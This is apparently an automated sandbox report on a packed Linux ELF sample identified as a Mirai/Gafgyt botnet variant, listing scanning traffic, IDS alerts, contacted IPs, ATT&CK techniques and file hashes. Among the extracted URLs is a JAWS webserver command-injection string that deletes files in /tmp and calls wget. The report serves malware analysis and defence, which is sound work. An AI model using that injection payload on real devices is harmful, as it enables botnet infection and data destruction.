      Source: unknownNetwork traffic detected: HTTP traffic on port 49168 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54864 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 52086 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 37884 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48232 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 49494 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 52876 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 38604 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 51820 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 50166 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 52082 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 59340 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 55544 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53110 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 55984 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 39678 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 35946 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 43226 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 40528 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 47890 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54976 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53572 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 38486 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48600 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 45054 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 37802 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54092 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53726 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 36808 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 58634 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 44774 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 33324 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 51216 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 38766 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 34506 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53966 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 47822 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 34654 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 58582 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48774 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 46854 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 34944 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 44462 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 35092 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48706 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 33950 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 42644 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 50100 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54688 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 41560 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 59730 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 59674 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 43528 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 40288 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 52758 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48244 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 57256 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54828 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53500 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 37014 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 39086 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 50718 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 55454 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 52886 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 39464 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 49640 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54298 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 46716 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 42362 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 56382 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 40702 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 50302 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53372 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 48164 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 57620 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 49862 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 47992 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 58630 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 53014 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 38216 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 59416 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 40384 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 35432 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54456 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 54406 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 51394 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 44448 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 43354 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 44116 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 40686 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 47848 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 45980 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 51328 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 49584 -> 37215
      Source: unknownNetwork traffic detected: HTTP traffic on port 35804 -> 37215
      Source: z0r0.i686.elfSubmission file: segment LOAD with 7.8889 entropy (max. 8.0)
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5440)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5441)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5445)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5475)Queries kernel information via 'uname': Jump to behavior

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: z0r0.i686.elf PID: 5430, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: z0r0.i686.elf PID: 5432, type: MEMORYSTR

      Remote Access Functionality

      barindex
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: TrafficSuricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
      Source: Yara matchFile source: 5432.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: 5430.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: z0r0.i686.elf PID: 5430, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: z0r0.i686.elf PID: 5432, type: MEMORYSTR
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
      Hidden Files and Directories
      1
      OS Credential Dumping
      1
      Security Software Discovery
      Remote ServicesData from Local System11
      Non-Standard Port
      Exfiltration Over Other Network Medium1
      Service Stop
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts11
      Obfuscated Files or Information
      LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media2
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
      Ingress Tool Transfer
      Traffic DuplicationData Destruction
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1606668 Sample: z0r0.i686.elf Startdate: 04/02/2025 Architecture: LINUX Score: 100 29 197.89.97.41, 37215, 46559 OPTINETZA South Africa 2->29 31 197.190.12.207 zain-asGH Ghana 2->31 33 98 other IPs or domains 2->33 35 Suricata IDS alerts for network traffic 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 Antivirus / Scanner detection for submitted sample 2->39 41 7 other signatures 2->41 8 z0r0.i686.elf 2->8         started        10 xfce4-panel wrapper-2.0 2->10         started        12 xfce4-panel wrapper-2.0 2->12         started        14 6 other processes 2->14 signatures3 process4 process5 16 z0r0.i686.elf 8->16         started        18 wrapper-2.0 xfpm-power-backlight-helper 10->18         started        process6 20 z0r0.i686.elf 16->20         started        23 z0r0.i686.elf 16->23         started        25 z0r0.i686.elf 16->25         started        27 2 other processes 16->27 signatures7 43 Sample tries to kill multiple processes (SIGKILL) 20->43

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      z0r0.i686.elf48%VirustotalBrowse
      z0r0.i686.elf55%ReversingLabsLinux.Backdoor.Gafgyt
      z0r0.i686.elf100%AviraEXP/ELF.Agent.F.178
      z0r0.i686.elf100%Joe Sandbox ML
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameMaliciousAntivirus DetectionReputation
      http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+false
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http://upx.sf.netz0r0.i686.elffalse
          high
          http://schemas.xmlsoap.org/soap/encoding/z0r0.i686.elf, 5430.1.0000000008048000.000000000805a000.r-x.sdmp, z0r0.i686.elf, 5432.1.0000000008048000.000000000805a000.r-x.sdmpfalse
            high
            http://schemas.xmlsoap.org/soap/envelope/z0r0.i686.elf, 5430.1.0000000008048000.000000000805a000.r-x.sdmp, z0r0.i686.elf, 5432.1.0000000008048000.000000000805a000.r-x.sdmpfalse
              high
              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs
              IPDomainCountryFlagASNASN NameMalicious
              140.60.68.251
              unknownUnited States
              668DNIC-AS-00668USfalse
              197.172.190.130
              unknownSouth Africa
              37168CELL-CZAfalse
              203.162.88.200
              unknownViet Nam
              45899VNPT-AS-VNVNPTCorpVNfalse
              46.43.178.108
              unknownUnited Kingdom
              39477MUNDIO-MOBILEGBfalse
              38.235.151.201
              unknownUnited States
              174COGENT-174USfalse
              41.227.18.85
              unknownTunisia
              2609TN-BB-ASTunisiaBackBoneASTNfalse
              156.223.50.221
              unknownEgypt
              8452TE-ASTE-ASEGfalse
              168.200.102.143
              unknownUnited States
              27435OPSOURCE-INCUSfalse
              41.15.176.251
              unknownSouth Africa
              29975VODACOM-ZAfalse
              186.247.60.96
              unknownBrazil
              7738TelemarNorteLesteSABRfalse
              75.22.81.39
              unknownUnited States
              7018ATT-INTERNET4USfalse
              81.170.168.87
              unknownSweden
              8473BAHNHOFhttpwwwbahnhofnetSEfalse
              194.135.149.51
              unknownRussian Federation
              60098INSITINVEST-ASRUfalse
              164.110.47.162
              unknownUnited States
              14827WSDOT-ASNUSfalse
              184.140.38.101
              unknownUnited States
              5778CENTURYLINK-LEGACY-EMBARQ-RCMTUSfalse
              41.108.223.66
              unknownAlgeria
              36947ALGTEL-ASDZfalse
              31.54.228.178
              unknownUnited Kingdom
              2856BT-UK-ASBTnetUKRegionalnetworkGBfalse
              156.188.207.14
              unknownEgypt
              36992ETISALAT-MISREGfalse
              41.198.68.0
              unknownSouth Africa
              5713SAIX-NETZAfalse
              197.172.190.123
              unknownSouth Africa
              37168CELL-CZAfalse
              9.211.121.174
              unknownUnited States
              3356LEVEL3USfalse
              211.54.97.171
              unknownKorea Republic of
              4766KIXS-AS-KRKoreaTelecomKRfalse
              148.207.112.16
              unknownMexico
              8151UninetSAdeCVMXfalse
              108.99.109.162
              unknownUnited States
              10507SPCSUSfalse
              5.157.213.33
              unknownRomania
              201909INTEL-TECH-DEVELOPMENT-SRLROfalse
              41.196.116.159
              unknownEgypt
              24863LINKdotNET-ASEGfalse
              63.184.254.121
              unknownUnited States
              1239SPRINTLINKUSfalse
              90.64.62.120
              unknownFrance
              15962OSK-DNISlovakiaSKfalse
              116.150.217.81
              unknownChina
              4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
              126.234.10.13
              unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
              120.40.207.12
              unknownChina
              4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
              66.93.223.188
              unknownUnited States
              18566MEGAPATH5-USfalse
              200.42.226.211
              unknownDominican Republic
              12066ALTICEDOMINICANASADOfalse
              107.54.119.148
              unknownUnited States
              16567NETRIX-16567USfalse
              197.234.167.166
              unknownSouth Africa
              37315CipherWaveZAfalse
              63.90.99.1
              unknownUnited States
              701UUNETUSfalse
              189.46.141.216
              unknownBrazil
              27699TELEFONICABRASILSABRfalse
              121.198.26.163
              unknownChina
              37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdfalse
              197.166.142.49
              unknownEgypt
              24863LINKdotNET-ASEGfalse
              38.251.88.26
              unknownUnited States
              174COGENT-174USfalse
              192.231.191.75
              unknownUnited States
              36493295CA-TOR-ASNCAfalse
              193.47.19.210
              unknownSwitzerland
              213311SS-NLDNLfalse
              82.4.86.200
              unknownUnited Kingdom
              5089NTLGBfalse
              169.212.193.43
              unknownKorea Republic of
              37611AfrihostZAfalse
              156.143.170.165
              unknownUnited States
              14319FURMAN-2USfalse
              120.246.241.177
              unknownChina
              56048CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCNfalse
              197.89.97.41
              unknownSouth Africa
              10474OPTINETZAtrue
              18.9.26.92
              unknownUnited States
              3MIT-GATEWAYSUSfalse
              48.105.223.45
              unknownUnited States
              2686ATGS-MMD-ASUSfalse
              93.217.56.59
              unknownGermany
              3320DTAGInternetserviceprovideroperationsDEfalse
              197.117.202.165
              unknownAlgeria
              36947ALGTEL-ASDZfalse
              197.190.12.207
              unknownGhana
              37140zain-asGHfalse
              84.53.135.153
              unknownEuropean Union
              16625AKAMAI-ASUSfalse
              76.219.176.167
              unknownUnited States
              7018ATT-INTERNET4USfalse
              197.26.6.252
              unknownTunisia
              37492ORANGE-TNfalse
              32.104.91.134
              unknownUnited States
              2688ATGS-MMD-ASUSfalse
              197.28.210.158
              unknownTunisia
              37492ORANGE-TNfalse
              90.141.207.187
              unknownSweden
              39651COMHEM-SWEDENSEfalse
              192.157.144.184
              unknownUnited States
              21654APOGEE-EHCUSfalse
              200.74.184.252
              unknownChile
              18822ManquehuenetCLfalse
              156.183.90.255
              unknownEgypt
              36992ETISALAT-MISREGfalse
              156.143.122.239
              unknownUnited States
              14319FURMAN-2USfalse
              66.7.123.89
              unknownUnited States
              29933OFF-CAMPUS-TELECOMMUNICATIONSUSfalse
              35.146.227.248
              unknownUnited States
              394141ROCKET-FIBERUSfalse
              165.156.182.51
              unknownUnited States
              203CENTURYLINK-LEGACY-LVLT-203USfalse
              97.88.102.52
              unknownUnited States
              20115CHARTER-20115USfalse
              145.115.219.18
              unknownNetherlands
              1103SURFNET-NLSURFnetTheNetherlandsNLfalse
              115.244.44.166
              unknownIndia
              55836RELIANCEJIO-INRelianceJioInfocommLimitedINfalse
              14.3.120.44
              unknownJapan4685ASAHI-NETAsahiNetJPfalse
              197.168.182.245
              unknownSouth Africa
              37168CELL-CZAfalse
              27.106.247.154
              unknownJapan18260E-CATVEHIMECATVCOLTDJPfalse
              82.168.176.143
              unknownNetherlands
              1136KPNKPNNationalEUfalse
              156.220.29.221
              unknownEgypt
              8452TE-ASTE-ASEGfalse
              41.21.252.27
              unknownSouth Africa
              36994Vodacom-VBZAfalse
              109.233.129.41
              unknownItaly
              5602AS-IRIDEOS-KPITfalse
              140.136.52.24
              unknownTaiwan; Republic of China (ROC)
              38845FJU-AS-TWFuJenCatholicUniversityTWfalse
              41.71.222.93
              unknownNigeria
              37053RSAWEB-ASZAfalse
              70.94.68.58
              unknownUnited States
              11427TWC-11427-TEXASUSfalse
              17.254.57.77
              unknownUnited States
              714APPLE-ENGINEERINGUSfalse
              19.122.87.118
              unknownUnited States
              3MIT-GATEWAYSUSfalse
              220.44.65.24
              unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
              203.125.7.4
              unknownSingapore
              3758SINGNETSingNetSGfalse
              202.27.232.240
              unknownNew Zealand
              9303KCCS-AS-APKCComputerServiceLtdNZfalse
              72.175.128.49
              unknownUnited States
              33588BRESNAN-33588USfalse
              141.174.93.172
              unknownUnited States
              29601UPM-KYMMENE-ASKuusankoskiFinlandFIfalse
              41.148.20.105
              unknownSouth Africa
              5713SAIX-NETZAfalse
              123.114.205.197
              unknownChina
              4808CHINA169-BJChinaUnicomBeijingProvinceNetworkCNfalse
              117.51.64.8
              unknownChina
              63648XJKJBeijingXiaojuScienceandTechnologyCoLtdCNfalse
              50.4.158.186
              unknownUnited States
              12083WOW-INTERNETUSfalse
              197.235.33.90
              unknownMozambique
              37223VODACOM-MZfalse
              83.144.232.198
              unknownSwitzerland
              33965LITECOMLitecomAGCHfalse
              41.226.118.38
              unknownTunisia
              37705TOPNETTNfalse
              197.117.202.191
              unknownAlgeria
              36947ALGTEL-ASDZfalse
              155.244.170.74
              unknownUnited States
              668DNIC-AS-00668USfalse
              197.159.177.81
              unknownSao Tome and Principe
              328191CST-NET-ASSTfalse
              8.112.248.229
              unknownUnited States
              3356LEVEL3USfalse
              217.97.125.217
              unknownPoland
              5617TPNETPLfalse
              197.137.214.170
              unknownKenya
              36914KENET-ASKEfalse
              156.75.68.146
              unknownUnited States
              8103STATE-OF-FLAUSfalse
              115.249.175.200
              unknownIndia
              18101RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKCfalse
              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              46.43.178.108cnRFlrBQt2.elfGet hashmaliciousMirai, GafgytBrowse
                197.172.190.1308vtOTGosE4.elfGet hashmaliciousMiraiBrowse
                  bok.x86.elfGet hashmaliciousMiraiBrowse
                    41.227.18.85UJA4UUHlPP.elfGet hashmaliciousMiraiBrowse
                      x86Get hashmaliciousMiraiBrowse
                        156.223.50.221tarm7.elfGet hashmaliciousMiraiBrowse
                          gppc.elfGet hashmaliciousMiraiBrowse
                            rch4a4fDZX.elfGet hashmaliciousMiraiBrowse
                              41.15.176.251na.elfGet hashmaliciousMiraiBrowse
                                .5r3fqt67ew531has4231.x86.elfGet hashmaliciousMirai, Gafgyt, Moobot, OkiruBrowse
                                  JuofJwjQMTGet hashmaliciousMiraiBrowse
                                    186.247.60.96c0f2UxJCEG.elfGet hashmaliciousMiraiBrowse
                                      2X3ziKfjMTGet hashmaliciousUnknownBrowse
                                        75.22.81.39ThhBCrYJCmGet hashmaliciousMiraiBrowse
                                          DswiO5MgMNGet hashmaliciousMiraiBrowse
                                            yeeted.arm7Get hashmaliciousMiraiBrowse
                                              203.162.88.2008fRUDMrWlOGet hashmaliciousUnknownBrowse
                                                sora.x86Get hashmaliciousMiraiBrowse
                                                  No context
                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  MUNDIO-MOBILEGBres.m68k.elfGet hashmaliciousUnknownBrowse
                                                  • 82.113.84.236
                                                  mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 82.113.84.216
                                                  JFX7sO1HHj.elfGet hashmaliciousMiraiBrowse
                                                  • 46.43.178.101
                                                  LtUstWWE4Y.elfGet hashmaliciousUnknownBrowse
                                                  • 46.43.178.114
                                                  dn7MMSZM9O.elfGet hashmaliciousUnknownBrowse
                                                  • 46.43.131.107
                                                  Ns1xkTsDQO.elfGet hashmaliciousMiraiBrowse
                                                  • 46.43.178.114
                                                  mBUFKJts6X.elfGet hashmaliciousMiraiBrowse
                                                  • 46.43.187.120
                                                  lUJIhHyHmC.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 82.113.88.82
                                                  cnRFlrBQt2.elfGet hashmaliciousMirai, GafgytBrowse
                                                  • 46.43.178.108
                                                  huhu.arm7.elfGet hashmaliciousMirai, OkiruBrowse
                                                  • 46.43.178.151
                                                  CELL-CZAjackmymips.elfGet hashmaliciousMiraiBrowse
                                                  • 197.175.223.209
                                                  res.mips.elfGet hashmaliciousUnknownBrowse
                                                  • 105.3.75.192
                                                  res.m68k.elfGet hashmaliciousUnknownBrowse
                                                  • 41.54.59.210
                                                  botx.ppc.elfGet hashmaliciousMiraiBrowse
                                                  • 197.169.212.207
                                                  mpsl.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 41.51.194.17
                                                  Fantazy.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 197.104.91.132
                                                  boatnet.arm7.elfGet hashmaliciousMirai, GafgytBrowse
                                                  • 197.106.106.148
                                                  boatnet.m68k.elfGet hashmaliciousMirai, GafgytBrowse
                                                  • 41.54.139.144
                                                  boatnet.ppc.elfGet hashmaliciousMiraiBrowse
                                                  • 197.106.106.154
                                                  boatnet.x86.elfGet hashmaliciousMirai, GafgytBrowse
                                                  • 197.173.220.117
                                                  DNIC-AS-00668USres.sh4.elfGet hashmaliciousUnknownBrowse
                                                  • 6.4.94.14
                                                  res.spc.elfGet hashmaliciousUnknownBrowse
                                                  • 214.32.6.150
                                                  res.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 131.121.245.191
                                                  botx.sh4.elfGet hashmaliciousMiraiBrowse
                                                  • 163.240.179.122
                                                  crss.exeGet hashmaliciousUnknownBrowse
                                                  • 140.44.187.201
                                                  splarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 140.47.96.182
                                                  nabmips.elfGet hashmaliciousUnknownBrowse
                                                  • 163.243.52.131
                                                  splmips.elfGet hashmaliciousUnknownBrowse
                                                  • 131.127.5.232
                                                  jklarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 163.243.196.19
                                                  splarm.elfGet hashmaliciousUnknownBrowse
                                                  • 131.218.214.126
                                                  VNPT-AS-VNVNPTCorpVNres.x86.elfGet hashmaliciousUnknownBrowse
                                                  • 14.227.186.157
                                                  botx.arm.elfGet hashmaliciousMiraiBrowse
                                                  • 113.162.255.25
                                                  botx.x86.elfGet hashmaliciousMiraiBrowse
                                                  • 14.238.194.167
                                                  ppc.elfGet hashmaliciousMirai, MoobotBrowse
                                                  • 14.179.44.46
                                                  Kloki.mips.elfGet hashmaliciousUnknownBrowse
                                                  • 14.248.40.203
                                                  jklsh4.elfGet hashmaliciousUnknownBrowse
                                                  • 123.20.181.244
                                                  nklsh4.elfGet hashmaliciousUnknownBrowse
                                                  • 14.232.223.74
                                                  nklmpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 14.251.111.126
                                                  nklarm5.elfGet hashmaliciousUnknownBrowse
                                                  • 113.178.195.45
                                                  nabm68k.elfGet hashmaliciousUnknownBrowse
                                                  • 14.234.20.120
                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
                                                  Entropy (8bit):7.886259338950226
                                                  TrID:
                                                  • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                                  • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                                  File name:z0r0.i686.elf
                                                  File size:33'004 bytes
                                                  MD5:1c6c2a332a5a70358c51391119e3571f
                                                  SHA1:20ae81ce516dcdaad05364f02f25a145f6cd76e4
                                                  SHA256:6b4c499de62a86251c3f45b773914ab44abaa30892a6fec90a29b29ed31b4745
                                                  SHA512:6707921d47e76f1dc62ea34db79b425a413941de6a562a478a2462787ac11736aabb9cd3245f23645f856faf4ce81157a3c446876b3ae6be4f3438f46e911800
                                                  SSDEEP:768:jr3y3AWzDZU5LS4Ucg37/LSkv495cymlxuxZNq7UNglo4xWo2k:gHzlUhS4UcHv5Vf5qwgloro2k
                                                  TLSH:5EE2F1E2A1F8DC2FED63673E85A587C63000BE7650B739A4F31A4409C9B96663F6D1C1
                                                  File Content Preview:.ELF....................(...4...........4. ...(.........................................................@...........Q.td..............................>.UPX!.........#...#......\.......w....ELF.......h....e..4..!7. 2(.....[]....F......'...~..? .....@.@l...

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:Intel 80386
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - Linux
                                                  ABI Version:0
                                                  Entry Point Address:0x804f728
                                                  Flags:0x0
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:0
                                                  Section Header Size:40
                                                  Number of Section Headers:0
                                                  Header String Table Index:0
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x80480000x80480000x7fe80x7fe87.88890x5R E0x1000
                                                  LOAD0x00x80500000x80500000x00xa9400.00000x6RW 0x1000
                                                  GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                  2025-02-04T18:08:40.701132+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.1357744195.238.77.8780TCP
                                                  2025-02-04T18:08:40.701132+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.1357744195.238.77.8780TCP
                                                  2025-02-04T18:08:40.770288+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.1336070194.116.26.22880TCP
                                                  2025-02-04T18:08:40.770288+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.1336070194.116.26.22880TCP
                                                  2025-02-04T18:08:41.144025+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.1337104113.23.163.6180TCP
                                                  2025-02-04T18:08:41.144025+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.1337104113.23.163.6180TCP
                                                  2025-02-04T18:08:49.967917+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.1344950106.4.88.880TCP
                                                  2025-02-04T18:08:49.967917+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.1344950106.4.88.880TCP
                                                  2025-02-04T18:08:51.763357+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.135156818.199.112.16780TCP
                                                  2025-02-04T18:08:51.763357+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.135156818.199.112.16780TCP
                                                  2025-02-04T18:08:51.927721+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.136003646.250.238.20980TCP
